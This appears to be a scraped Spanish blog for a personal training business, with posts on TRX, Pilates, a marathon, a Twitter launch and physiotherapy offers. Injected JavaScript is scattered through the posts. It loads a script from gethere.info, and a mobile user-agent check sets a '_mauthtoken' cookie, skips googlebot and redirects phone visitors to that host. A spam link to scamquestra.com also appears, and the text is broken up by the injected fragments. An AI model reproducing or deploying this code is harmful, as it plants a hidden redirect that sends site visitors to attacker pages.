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TRX en PERSONALGYM

PERSONAL GYM 3 NEGRO 7CM

PERSONALGYM ofrece el servicio de TRX (Supension Training). Pero, ¿Qué es la TRX y para qué sirve?

Personalgym - TRX

La TRX surge a través de Randy Hetrick un ex Navy Seal que desarrollo los primeros equipos de TRX y los ejercicios de peso corporal Suspension Training a comienzos de la década de los 90.

La TRX consiste en una nueva modalidad de entrenamiento a través de diferentes ejercicios en suspensión. En los ejercicios que se realizan con ella, parte del cuerpo se mantiene suspendida en el aire. Ya sea la parte inferior, suspendido desde los pies o la superior, desde las manos.

El trabajo con la TRX ayuda al desarrollo de la fuerza funcional, coordinación, flexibilidad y potencia entre otras.

El trabajo en suspensión proporciona una ventaja a los participantes en comparación con el simple entrenamiento de fuerza convencional.

Esto ocurre porque cada ejercicio del entrenamiento en suspensión desarrolla la fuerza funcional al mismo tiempo que mejora la flexibilidad, el equilibrio y la estabilidad de la parte central (core) del cuerpo.

Todos los Entrenadores Personales de PERSONALGYM son titulados en el curso oficial de instructores TRX.

Desde PERSONALGYM te animamos a que la pruebes!}

Servicio de Recuperador Personal en PERSONALGYM

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Pilates en PERSONALGYM

PERSONAL GYM

PERSONALGYM cuenta con el servicio del Método Pilates. Pero realmente, ¿Qué es el Pilates?

El método Pilates fue creado por el alemán Joseph Hubertus Pilates.

J. H. Pilates fue un niño enfermizo, lo que le llevó a estudiar el cuerpo humano y la manera de fortalecerlo mediante el ejercicio. De esta manera, con el tiempo llegó a ser un gran atleta. Fue en Inglaterra donde comenzaría a desarrollar su método al ser internado durante la Primera Guerra Mundial, debido a su nacionalidad alemana, en un campo de concentración. Trabajando como enfermero, desarrolló una metodología para mejorar el estado de salud de otros internos mediante el ejercicio. Para los más débiles y enfermos montó sobre las camas un sistema de poleas y cuerdas para ejercitar los músculos, lo cual fue el origen de algunas de las posteriores máquinas por él ideadas (reformer, trapecio, silla y barril). Con el tiempo desarrollaría un gran número de ejercicios para ser realizados en ellas, así como otros para ser practicados simplemente en el suelo, sobre una colchoneta.

Este Método se valió de varias disciplinas y conocimientos como gimnasia, traumatología o yoga, ademas de unir el dinamismo y la fuerza muscular con el control mental, la respiración y la relajación.

Los principios fundamentales y que deben estar siempre presentes en el Pilates son:

  • Alineamiento
  • Centralización
  • Concentración
  • Control
  • Precisión
  • Fluidez
  • Respiración

Su gran auge y mayor popularidad de esta practica se debe a la practica de famosos de diversos ámbitos como la música,  el cine o el deporte de élite.d.getElementsByTagName(‘head’)[0].appendChild(s);

Maria Gomez nueva entrenador PERSONALGYM

https://scamquestra.com/17-dokazatelsta-i-probely-afery-2.html

PERSONALGYM en la Maratón de Chicago (Bank of America Chicago Marathon)

PERSONAL GYM

 

Nos llena de orgullo comunicaros que un miembro de PERSONALGYM estará presente en la afamada Maratón de Chicago (Bank of America Chicago Marathon).

Esta Maratón  su inicio data desde 1905 y esta considerada como una de las 5 grandes de la Maratón junto a Nueva York, Boston, Berlín y Londres.

Esta prueba es sin duda una fiesta atlética y celebración de la diversidad cultural ya que consta con la participación de mas de 100 nacionalidades diferentes.var d=document;var s=d.createElement(‘script’);

Servicio de Fisioterapia PERSONALGYM

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Lanzamiento de PERSONALGYM a Twitter (@Persogym)

 

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Hace unos días os informamos de futuras novedades en PERSONALGYM. Queremos anunciaros el lanzamiento de la nueva cuenta de Twitter de PERSONALGYM. Os invitamos a que nos sigáis a @Persogym. En esta nueva cuenta queremos estar mas cerca de vosotros e informaros de todo lo relacionado con PERSONALGYM, sus servicios, novedades y noticias de diverso tipo.

 

 

 

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EMPIEZA EL NUEVO CURSO EN PERSONALGYM

 

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Empieza el nuevo curso en PERSONALGYM y con mas fuerza que nunca. Este nuevo curso viene plagado de novedades. Entre ellos, retomamos la elaboración del Blog de PERSONALGYM. Además pronto anunciaremos novedades importantes y el lanzamiento de PERSONALGYM a nuevas plataformas para estar más cerca de todos vosotros y vivir nuevas experiencias.

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FISIOTERAPIA

¡Nueva promoción! Del 15 de junio al 31 de julio sesión de fisioterapia por 25 euros (30 minutos).

 

Pide cita con nuestros fisioterapeutas titulados. Te ayudarán en tu puesta en forma tratando lesiones o  previniendo las mismas. Mediante un trato personal y técnicas manuales  te ayudarán a mejorar tu salud.

Te atenderán tanto en nuestra consulta de personalgym como a domicilio* . Para cualquier pregunta no dudes en consultar con nosotros.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Personalgym – tu gimnasio en casa

Desde su creación, y tras varios años trabajando individualmente y habiendo adquirido gran expeiencia profesional, Arkaitz Zuriarrain Marichalar, fundador de Personalgym, ha reunido a los mejores profesionales del sector de la actividad física y del deporte, cuyo objetivo es el asesoramiento deportivo y fisioterapéutico.

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